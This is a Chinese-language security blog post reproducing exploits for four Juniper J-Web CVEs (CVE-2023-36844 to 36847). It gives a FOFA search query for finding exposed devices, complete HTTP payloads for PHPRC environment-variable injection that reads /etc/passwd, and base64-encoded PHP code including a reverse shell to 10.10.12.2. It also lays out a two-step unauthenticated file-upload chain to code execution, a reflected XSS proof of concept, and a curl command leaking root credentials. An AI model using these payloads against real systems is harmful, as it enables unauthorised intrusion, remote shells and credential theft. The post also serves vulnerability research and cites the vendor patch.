【漏洞复现】Juniper系统对应的四个CVE漏洞

admin 2024年1月25日13:47:12评论62 views字数 7395阅读24分39秒阅读模式
【漏洞复现】Juniper系统对应的四个CVE漏洞
一、前言

在进行一次实际的渗透测试项目时,意外发现Juniper系统,现如今该系统存在未修复的漏洞概率还是挺大的,官方给出的解决办法是禁用J-Web,或将访问限制为仅受信任的主机。可想而知目前能够访问的Juniper系统漏洞概率。通过简单的深入挖掘和了解,成功地获得目标服务器的权限,并最终成功获取了shell 权限。但也有很多命令执行等各方面的限制。

Juniper系统包含有四个CVE,由于这两个漏洞适用于两个不同的平台(Juniper -EX 交换机设备平台和-SRX 防火墙设备平台),这是两个单独的系统,最终导致为两个漏洞对应着四个CVE。在 CVSS 等级上每个CVE单独只有5.3分,但在组合进行注入和RCE攻击中,CVE-2023-36845的评分为9.8。

漏洞分别是:PHP外部变量修改漏洞(对应CVE:CVE-2023-36844和CVE-2023-36845),关键功能缺失身份验证漏洞(对应CVE:CVE-2023-36846和CVE-2023-36847)
FOFA语句
title="Juniper Web Device Manager"title="J-Web"
二、PHP外部变量修改漏洞

漏洞

简介

Juniper Networks Junos OS EX是美国瞻博网络(Juniper Networks)公司的一套专用于该公司的硬件设备的网络操作系统。该操作系统提供了安全编程接口和Junos SDK。

Juniper Networks Junos OS EX存在安全漏洞,该漏洞源于J-Web模块存在PHP外部变量修改漏洞。

漏洞
复现

CVE-2023-36845是一个 PHP 环境变量操纵漏洞,影响 Juniper SRX防火墙和EX交换机。瞻博网络将该漏洞评为中等严重性问题。

Juniper防火墙使用Appweb作为Web服务器。当Appweb调用CGI脚本时,它会传递多种环境变量和参数,以便脚本可以访问用户的HTTP请求。HTTP请求的正文通过stdin传递。受影响的防火墙运行FreeBSD,而每个FreeBSD进程都可以通过打开/dev/fd/0来访问其stdin。通过发送HTTP请求,可以向系统引入一个"文件"实体。

利用这个技巧,可以将PHPRC环境变量设置为/dev/fd/0,并在HTTP请求中包含所需的php.ini文件。将/etc/passwd文件预置到每个响应之前。通过将标准输入重定向到特定文件,实现对目标系统的攻击

构造如下payload请求包
POST /?PHPRC=/dev/fd/0 HTTP/1.1Host: 10.10.12.1Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.97 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Content-Length: 31auto_prepend_file="/etc/passwd"

【漏洞复现】Juniper系统对应的四个CVE漏洞

另一种方式
另一种方式是auto_prepend_file和allow_url_include可以结合使用以实现一种RCE攻击。

通过启用allow_url_include,可以在 auto_prepend_file中使用任何协议包装器。常见的选择是使用data://的内联方式提供"第二个文件"。

1.构造auto_prepend_file的值,数据需要进行base64编
1.将<?php phpinfo(); ?>进行base64编码得到:PD9waHAgcGhwaW5mbygpOyA/Pg==2.最终请求体内容如下:allow_url_include=1auto_prepend_file="data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="
发送构造后的请求包:

【漏洞复现】Juniper系统对应的四个CVE漏洞

【漏洞复现】Juniper系统对应的四个CVE漏洞

2.还可以执行其他命令
1.使用get_current_user()获取当前用户,PHP代码如下:<?php$current_user = get_current_user();echo "user:".$current_user;?>2.最终请求体内容如下:allow_url_include=1auto_prepend_file="data://text/plain;base64,PD9waHAKJGN1cnJlbnRfdXNlciA9IGdldF9jdXJyZW50X3VzZXIoKTsKZWNobyAidXNlcjoiLiRjdXJyZW50X3VzZXI7Cj8+"

【漏洞复现】Juniper系统对应的四个CVE漏洞

但是执行主机命令不行

【漏洞复现】Juniper系统对应的四个CVE漏洞

3.通过上面的方法实现反弹shell
1.使用bin/bash反弹shell,PHP代码如下:<?phpset_time_limit(0);$ip = '10.10.12.2';$port = 9982;$sock = fsockopen($ip,$port);while(!feof($sock)) {  $command = fgets($sock, 1024);  $output = shell_exec($command);  fwrite($sock, $output);}fclose($sock);?>2.最终请求体内容如下:allow_url_include=1auto_prepend_file="data://bin/bash;base64,PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7CiRpcCA9ICcxMC4xMC4xMi4yJzsKJHBvcnQgPSA5OTgyOwokc29jayA9IGZzb2Nrb3BlbigkaXAsJHBvcnQpOwp3aGlsZSghZmVvZigkc29jaykpIHsKCSRjb21tYW5kID0gZmdldHMoJHNvY2ssIDEwMjQpOwoJJG91dHB1dCA9IHNoZWxsX2V4ZWMoJGNvbW1hbmQpOwoJZndyaXRlKCRzb2NrLCAkb3V0cHV0KTsKfQpmY2xvc2UoJHNvY2spOwo/Pg=="

【漏洞复现】Juniper系统对应的四个CVE漏洞    

说明:只能执行一些基本命令。Juniper设备使用了名为veriexec的工具,限制了只能执行经过验证和位于特定位置的二进制文件,因为有效负载位于未列入白名单的位置(而且没有经过加密签名),导致无法执行命令。

三、关键功能缺失身份验证漏洞

漏洞
简介

Juniper Networks Junos OS是美国瞻博网络(Juniper Networks)公司的一套专用于该公司的硬件设备的网络操作系统。该操作系统提供了安全编程接口和Junos SDK。

Juniper Networks Junos OS SRX存在访问控制错误漏洞,该漏洞源于关键功能缺失身份验证。
漏洞
复现
CVE-2023-36846调用do_fileUploadJ-Web 界面中的函数。这会导致将任意文件写入/var/tmp,通过上传两个文件,将PHPRC环境变量设置为其中一个文件,使用php.ini auto_prepend_file设置强制每个php页面加载第二个文件来实现RCE代码执行。流程如下:
1.上传一个phpinfo脚本,由于do_upload的原因,需要进行Base64编码<?php phpinfo();?>base64编码后:PD9waHAgcGhwaW5mbygpOz8+2.然后构造恶意的请求体,请求路径为/webauth_operation.phprs=do_upload&rsargs[0]=[{"fileData":"data:text/html;base64,PD9waHAgcGhwaW5mbygpOz8+","fileName":"test.php","csize":18}]3.将请求体的内容进行URL编码rs=do_upload&rsargs%5B0%5D=%5B%7B%22fileData%22%3A%22data%3Atext%2Fhtml%3Bbase64%2CPD9waHAgcGhwaW5mbygpOz8%2B%22%2C%22fileName%22%3A%22test.php%22%2C%22csize%22%3A18%7D%5D
POST /webauth_operation.php HTTP/1.1Host: 10.10.12.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36Sec-Ch-Ua-Platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Content-Type: application/x-www-form-urlencodedContent-Length: 171rs=do_upload&rsargs%5B0%5D=%5B%7B%22fileData%22%3A%22data%3Atext%2Fhtml%3Bbase64%2CPD9waHAgcGhwaW5mbygpOz8%2B%22%2C%22fileName%22%3A%22test.php%22%2C%22csize%22%3A18%7D%5D
第一步发包请求内容如下,PHP 文件已上传,响应体中converted_fileName的值为上传后的php文件名称,第二个POST请求需要使用。

【漏洞复现】Juniper系统对应的四个CVE漏洞

第一步完成后,开始第二步的上传,现在上传新的php.ini配置文件。
1. 将第一步响应体中converted_fileName的php文件名称复制出来,构造payload,并且进行base64编码auto_prepend_file="/var/tmp/921c7e42961b1c8c2af9cbdf71bf5422d7beafacb710b8a02d34136ce361f648.php"YXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wLzkyMWM3ZTQyOTYxYjFjOGMyYWY5Y2JkZjcxYmY1NDIyZDdiZWFmYWNiNzEwYjhhMDJkMzQxMzZjZTM2MWY2NDgucGhwIg==2. base64编码填入请求包rs=do_upload&rsargs[0]=[{"fileData":"data:plain/text;base64,YXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wLzkyMWM3ZTQyOTYxYjFjOGMyYWY5Y2JkZjcxYmY1NDIyZDdiZWFmYWNiNzEwYjhhMDJkMzQxMzZjZTM2MWY2NDgucGhwIg==","fileName":"test.ini","csize":97}]3. 同样的步骤进行URL编码rs=do_upload&rsargs%5B0%5D=%5B%7B%22fileData%22%3A%22data%3Aplain%2Ftext%3Bbase64%2CYXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wLzkyMWM3ZTQyOTYxYjFjOGMyYWY5Y2JkZjcxYmY1NDIyZDdiZWFmYWNiNzEwYjhhMDJkMzQxMzZjZTM2MWY2NDgucGhwIg%3D%3D%22%2C%22fileName%22%3A%22test.ini%22%2C%22csize%22%3A97%7D%5D
POST /webauth_operation.php HTTP/1.1Host: 10.10.12.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36Sec-Ch-Ua-Platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Content-Type: application/x-www-form-urlencodedContent-Length: 282rs=do_upload&rsargs%5B0%5D=%5B%7B%22fileData%22%3A%22data%3Aplain%2Ftext%3Bbase64%2CYXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wLzkyMWM3ZTQyOTYxYjFjOGMyYWY5Y2JkZjcxYmY1NDIyZDdiZWFmYWNiNzEwYjhhMDJkMzQxMzZjZTM2MWY2NDgucGhwIg%3D%3D%22%2C%22fileName%22%3A%22test.ini%22%2C%22csize%22%3A97%7D%5D

发包请求,响应体中converted_fileName的值为新的php.ini配置文件名称。

【漏洞复现】Juniper系统对应的四个CVE漏洞

使用PHPRC注入环境变量,构造请求路径

/webauth_operation.php?PHPRC=/var/tmp/d75a2defa0bad75fb6d87ae6b9c901a8e7f19568300d6daecfe5c14d885943d1.ini最终URL:https://10.10.12.1/webauth_operation.php?PHPRC=/var/tmp/d75a2defa0bad75fb6d87ae6b9c901a8e7f19568300d6daecfe5c14d885943d1.ini

【漏洞复现】Juniper系统对应的四个CVE漏洞

同样的方法可实现shell连接,但成功率较低。

四、其他漏洞内容
反射性XSS

该类系统还存在反射型XSS,相对于RCE倒是显得格外的微不足道,但是这种明显的缺陷也是可以提供其他攻击思路的。构造请求体poc如下:

请求路径:/webauth_operation.php请求体:rs=emit_debug_note&rsargs[]=1,&rsargs[]=<script>alert('XSS')</script>"

【漏洞复现】Juniper系统对应的四个CVE漏洞

可能的泄露用户名密码

使用上面提到的文件泄露机制,能够泄露配置时的根凭据,可能会有一个文件叫wiz_config_server.txt在/var/tmp/路径下。可能会显示root用户密码,实际测试中未发现,存在的可能性很低^_^。

$ curl -kv "http://10.12.72.1/about.php?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/var/tmp/wiz_config_server.txt"'*   Trying 10.12.72.1:80...* TCP_NODELAY set* Connected to 10.12.72.1 (10.12.72.1) port 80 (#0)> POST /about.php?PHPRC=/dev/fd/0 HTTP/1.1> Host: 10.12.72.1> User-Agent: curl/7.68.0> Accept: */*> Content-Length: 50> Content-Type: application/x-www-form-urlencoded>* upload completely sent off: 50 out of 50 bytes* Mark bundle as not supporting multiuse< HTTP/1.1 200 OK< Date: Wed, 13 Sep 2023 23:27:51 GMT< Server: Embedthis-Appweb/3.2.3< Cache-Control: no-cache< ETag: "1e0cc-40e-51b0b0ec"< Content-Type: text/html< Connection: keep-alive< Keep-Alive: timeout=120, max=199< Last-Modified: Wed, 13 Sep 2023 23:27:51 GMT< x-powered-by: PHP/5.3.2< Transfer-Encoding: chunked<",\"rootpassword\":\"labpass1\",
五、参考链接
1.watchtowr团队https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/2.vulncheck团队https://vulncheck.com/blog/juniper-cve-2023-368453.watchtowr团队编写的漏洞利用脚本https://github.com/watchtowrlabs/juniper-rce_cve-2023-36844?ref=labs.watchtowr.com4.官网补丁https://supportportal.juniper.net/JSA72300

【漏洞复现】Juniper系统对应的四个CVE漏洞

原文始发于微信公众号(笑谈安全阁):【漏洞复现】Juniper系统对应的四个CVE漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月25日13:47:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】Juniper系统对应的四个CVE漏洞https://cn-sec.com/archives/2426707.html

发表评论

匿名网友 填写信息